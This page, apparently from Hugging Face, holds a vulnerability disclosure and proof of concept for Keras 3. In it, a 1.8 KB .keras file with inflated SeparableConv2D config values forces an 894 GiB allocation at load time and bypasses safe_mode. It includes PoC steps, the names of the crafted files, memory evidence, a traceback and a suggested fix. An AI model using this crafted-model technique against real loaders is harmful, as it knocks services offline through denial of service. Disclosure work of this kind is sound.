Instructions to use EnigmaConsultant/huntr-poc-keras-separableconv2d-depthmult-filters-pointwise-alloc-oom with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use EnigmaConsultant/huntr-poc-keras-separableconv2d-depthmult-filters-pointwise-alloc-oom with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://EnigmaConsultant/huntr-poc-keras-separableconv2d-depthmult-filters-pointwise-alloc-oom") - Notebooks
- Google Colab
- Kaggle
YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Keras 3 .keras loader: SeparableConv2D depth_multiplier × filters pointwise-kernel unbounded build-time allocation (safe_mode bypass)
Target
- Project: Keras 3 (
keras) - Version tested: keras 3.15.0, numpy backend, Python 3.13, numpy
float64init - Vulnerable API:
keras.saving.load_model()on a.kerasv3 (zip) archive - Class: CWE-789 Memory Allocation with Excessive Size Value (uncontrolled resource consumption / DoS) reachable at model-load time,
safe_mode=True.
Summary
Loading an attacker-supplied .keras archive triggers an unbounded memory allocation before any weight tensor is read. During deserialization, serialization_lib.deserialize_keras_object() unconditionally calls instance.build_from_config(build_config) with no shape validation. For a SeparableConv2D layer this reaches base_separable_conv.py build(), which computes the pointwise kernel shape as
pointwise_kernel_shape = (1,) * rank + (depth_multiplier * input_channel, filters)
and materializes it via self.add_weight(...) using the GlorotUniform initializer. Both depth_multiplier and filters are attacker-controlled integers in the tiny config.json layer config. The pointwise-kernel element count is their product times input_channel, so two independent config ints multiply — a stronger amplification than the single-int Conv2D/DepthwiseConv paths. compute_output_shape() (called first) only checks that output dims are positive; it does not bound the kernel element count. safe_mode=True provides no protection — it only guards __lambda__ deserialization.
Root cause (code path)
serialization_lib.py:787 (build called with no validation):
instance.build_from_config(build_config)
layers/convolutional/base_separable_conv.py build() (lines ~173–191):
pointwise_kernel_shape = (1,) * self.rank + (
self.depth_multiplier * input_channel, # attacker-controlled dm
self.filters, # attacker-controlled filters
)
...
self.pointwise_kernel = self.add_weight(
name="pointwise_kernel",
shape=pointwise_kernel_shape,
initializer=self.pointwise_initializer, # GlorotUniform -> random.uniform
...
)
initializers/random_initializers.py:316 → backend/numpy/random.py:23:
return rng.uniform(size=shape, low=minval, high=maxval).astype(dtype)
The numpy backend generates the array as float64 first, so the peak spike is 8× the nominal float32 size.
Distinctness (not a duplicate of Conv2D / DepthwiseConv paths)
- Conv2D
filterspath: singlekernel = filters × kernel_size × groups(one config int). - DepthwiseConv
depth_multiplierpath:depthwise_kernelonly =kh·kw·in·depth_multiplier(nofilters/pointwise term). - This finding: distinct code site
base_separable_conv.py:191(pointwise_kernel) with a distinct amplification — the product of two independent config intsdepth_multiplier × filters × input_channel. SeparableConv2D also has an independent depthwise-kernel path, but the pointwise product dominates and is the demonstrated trigger.
The declared dimensions are fully decoupled from the actual weight data: model.weights.h5 still contains only the benign baseline tensors — the archive stays ~1.8 KB while forcing a ~894 GiB allocation.
PoC
Build a genuine tiny model, then repackage the archive with inflated config ints (kept model.weights.h5 untouched):
m = keras.Sequential([keras.layers.Input((8,8,3)),
keras.layers.SeparableConv2D(filters=4, kernel_size=3, depth_multiplier=2)])
m.save("base.keras")
# repackage: config.depth_multiplier=200000, config.filters=200000,
# build_config.input_shape=[null,8,8,3] (input_channel=3)
keras.saving.load_model("evil_huge.keras", safe_mode=True, compile=False)
Resulting evil_huge.keras is 1846 bytes. The loader attempts to allocate a pointwise kernel of shape (1,1,600000,200000) = 200000·3 × 200000 = 1.2e14 elements and raises MemoryError (894 GiB) during build_from_config, before any weight is read.
Files (this repo): build_and_verify.py (harness), base.keras, evil_med.keras, evil_huge.keras.
Captured evidence (verbatim, keras 3.15.0, numpy backend)
keras 3.15.0 backend numpy baseline 273 MB
[base] 12552B pointwise_elems=24 -> loaded OK, peak 274 MB
[evil_med] 1846B pointwise_elems=48,000,000 -> ValueError: A total of 1 objects could not be loaded. Example error message for object <SeparableConv2 | peak 824 MB
[evil_huge] 1846B pointwise_elems=120,000,000,000 -> MemoryError: Unable to allocate 894. GiB for an array with shape (1, 1, 600000, 200000) and data type f | peak 824 MB
- Negative control:
base.kerasloads OK at ~274 MB peak RSS. - Scaling control:
evil_med.keras(dm=4000, filters=4000 → 48,000,000 pointwise elems) drove peak RSS from ~273 MB baseline to ~824 MB, then failed on a later weight-shape mismatch — empirically confirming allocation scales with thedepth_multiplier × filtersproduct before the weight check.
Verbatim traceback (evil_huge)
File ".../saving/serialization_lib.py", line 787, in deserialize_keras_object
instance.build_from_config(build_config)
File ".../layers/layer.py", line 491, in build_from_config
File ".../layers/layer.py", line 232, in build_wrapper
File ".../layers/convolutional/base_separable_conv.py", line 191, in build
self.pointwise_kernel = self.add_weight(
File ".../layers/layer.py", line 622, in add_weight
variable = backend.Variable(
File ".../backend/common/variables.py", line 210, in __init__
self._initialize_with_initializer(initializer)
File ".../backend/common/variables.py", line 418, in _initialize_with_initializer
initializer(self._shape, dtype=self._dtype)
File ".../initializers/random_initializers.py", line 316, in __call__
return random.uniform(shape, minval=-limit, maxval=limit, dtype=dtype, seed=self.seed)
File ".../backend/numpy/random.py", line 23, in uniform
return rng.uniform(size=shape, low=minval, high=maxval).astype(dtype)
numpy._core._exceptions._ArrayMemoryError: Unable to allocate 894. GiB for an array with shape (1, 1, 600000, 200000) and data type float64
Impact
An attacker who can get a victim to load_model() an untrusted .keras file (a common ML supply-chain / model-hub scenario) forces an immediate multi-hundred-GiB allocation that OOM-kills the process — a reliable denial of service. The trigger is a ~1.8 KB file and safe_mode=True does not mitigate it.
Suggested fix
Bound the total requested element count in build_from_config / add_weight against the actual on-disk weight-tensor size (or a configurable cap), and reject build configs whose declared kernel dimensions are decoupled from the stored weights before allocating.
Dedup note
No matching public CVE for the SeparableConv2D pointwise-kernel path at time of filing. Distinct from the separately reported Conv2D-filters and DepthwiseConv-depth_multiplier build-time allocation paths (different code site base_separable_conv.py:191, different amplification = product of two config ints). Verified by actual execution, not static reasoning.
- Downloads last month
- -